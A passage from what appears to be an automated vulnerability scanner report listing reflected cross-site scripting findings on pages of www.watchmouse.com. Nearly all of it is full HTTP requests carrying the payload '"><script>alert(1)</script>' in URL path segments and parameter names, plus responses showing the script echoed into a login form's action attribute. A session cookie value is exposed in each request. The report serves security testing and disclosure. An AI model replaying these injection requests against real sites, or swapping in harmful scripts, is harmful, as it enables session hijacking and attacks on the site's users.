Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.2.10.1297252772

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 11:59:42 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-be05360e576c233d56e25e29eec1693e"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13253

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/en9bdc9"><script>alert(1)</script>bb88294aa54/feature/public-status-page.html" method="post">
...[SNIP]...

1.453. http://www.watchmouse.com/en/feature/public-status-page.html [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/feature/public-status-page.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 462b5"><script>alert(1)</script>6234e43e26f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/feature462b5"><script>alert(1)</script>6234e43e26f/public-status-page.html HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/plans_price.php
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.2.10.1297252772

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 11:59:43 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-95e850ad6c2bc26b34d2b51bc5767404"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13226

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/feature462b5"><script>alert(1)</script>6234e43e26f/public-status-page.html" method="post">
...[SNIP]...

1.454. http://www.watchmouse.com/en/feature/public-status-page.html [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/feature/public-status-page.html

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 12dec"><script>alert(1)</script>27f8bccc38a was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/feature/public-status-page.html12dec"><script>alert(1)</script>27f8bccc38a HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/plans_price.php
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.2.10.1297252772

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 11:59:43 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-ae61fdac524b373afec63550de3c5690"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13226

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/feature/public-status-page.html12dec"><script>alert(1)</script>27f8bccc38a" method="post">
...[SNIP]...

1.455. http://www.watchmouse.com/en/feature/public-status-page.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/feature/public-status-page.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2f6d9"><script>alert(1)</script>388432ad43 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/feature/public-status-page.html?2f6d9"><script>alert(1)</script>388432ad43=1 HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/plans_price.php
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.2.10.1297252772

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 11:59:40 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-2735e7a1ef50ee8e28249f2cdc9f9897"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 24217

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="/en/feature/public-status-page.html?2f6d9"><script>alert(1)</script>388432ad43=1" method="post">
...[SNIP]...

1.456. http://www.watchmouse.com/en/feature/real-browser-monitoring.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/feature/real-browser-monitoring.html

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 73d64"><script>alert(1)</script>aab42013a99 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /en73d64"><script>alert(1)</script>aab42013a99/feature/real-browser-monitoring.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:06:49 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-63c0fa6f00e5b24070d01047c5576e0f"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13298

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/en73d64"><script>alert(1)</script>aab42013a99/feature/real-browser-monitoring.html" method="post">
...[SNIP]...

1.457. http://www.watchmouse.com/en/feature/real-browser-monitoring.html [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/feature/real-browser-monitoring.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 47808"><script>alert(1)</script>ab026478454 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/feature47808"><script>alert(1)</script>ab026478454/real-browser-monitoring.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:06:51 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-4bfd110f0a2ac986236468e82196b9c5"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13271

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/feature47808"><script>alert(1)</script>ab026478454/real-browser-monitoring.html" method="post">
...[SNIP]...

1.458. http://www.watchmouse.com/en/feature/real-browser-monitoring.html [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/feature/real-browser-monitoring.html

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c9c88"><script>alert(1)</script>bf91e9ef796 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/feature/real-browser-monitoring.htmlc9c88"><script>alert(1)</script>bf91e9ef796 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:06:52 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-146a13ae94863efabb3f624bc4e355e3"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13271

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/feature/real-browser-monitoring.htmlc9c88"><script>alert(1)</script>bf91e9ef796" method="post">
...[SNIP]...

1.459. http://www.watchmouse.com/en/feature/real-browser-monitoring.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/feature/real-browser-monitoring.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 13e57"><script>alert(1)</script>34452ce25c2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/feature/real-browser-monitoring.html?13e57"><script>alert(1)</script>34452ce25c2=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:06:48 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-43dc1af83e01620d9f93f13a556e0ca2"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 24330

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="/en/feature/real-browser-monitoring.html?13e57"><script>alert(1)</script>34452ce25c2=1" method="post">
...[SNIP]...

1.460. http://www.watchmouse.com/en/feature/root-cause-analysis.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/feature/root-cause-analysis.html

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f719a"><script>alert(1)</script>fe6f494f651 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /enf719a"><script>alert(1)</script>fe6f494f651/feature/root-cause-analysis.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:06:57 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-f496e405fc56526c5e898d5baf8ad709"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13262

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/enf719a"><script>alert(1)</script>fe6f494f651/feature/root-cause-analysis.html" method="post">
...[SNIP]...

1.461. http://www.watchmouse.com/en/feature/root-cause-analysis.html [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/feature/root-cause-analysis.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 72b68"><script>alert(1)</script>a0ac75a4b1 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/feature72b68"><script>alert(1)</script>a0ac75a4b1/root-cause-analysis.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:06:59 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-6b914dec999cb4301f33870ab5884863"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13226

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/feature72b68"><script>alert(1)</script>a0ac75a4b1/root-cause-analysis.html" method="post">
...[SNIP]...

1.462. http://www.watchmouse.com/en/feature/root-cause-analysis.html [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/feature/root-cause-analysis.html

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 36ff7"><script>alert(1)</script>5fd6e5ae297 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/feature/root-cause-analysis.html36ff7"><script>alert(1)</script>5fd6e5ae297 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:00 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-f27f15bb55bf33b2a5ec51a076eb4666"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13235

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/feature/root-cause-analysis.html36ff7"><script>alert(1)</script>5fd6e5ae297" method="post">
...[SNIP]...

1.463. http://www.watchmouse.com/en/feature/root-cause-analysis.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/feature/root-cause-analysis.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a0776"><script>alert(1)</script>e915fb25c57 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/feature/root-cause-analysis.html?a0776"><script>alert(1)</script>e915fb25c57=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:06:56 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-3721a1ca645acf9e8df3b25ee40bb4c6"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 22191

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="/en/feature/root-cause-analysis.html?a0776"><script>alert(1)</script>e915fb25c57=1" method="post">
...[SNIP]...

1.464. http://www.watchmouse.com/en/feature/the-watchmouse-api.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/feature/the-watchmouse-api.html

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9656f"><script>alert(1)</script>8d1ba6a5b9a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /en9656f"><script>alert(1)</script>8d1ba6a5b9a/feature/the-watchmouse-api.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:10 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-87555b0c1bac3769ae7043173709c5e1"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13253

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/en9656f"><script>alert(1)</script>8d1ba6a5b9a/feature/the-watchmouse-api.html" method="post">
...[SNIP]...

1.465. http://www.watchmouse.com/en/feature/the-watchmouse-api.html [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/feature/the-watchmouse-api.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5e5ce"><script>alert(1)</script>c0662cbc4e4 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/feature5e5ce"><script>alert(1)</script>c0662cbc4e4/the-watchmouse-api.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:12 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-eb1c6aca7a7e8382fa9392c8d91402da"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13226

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
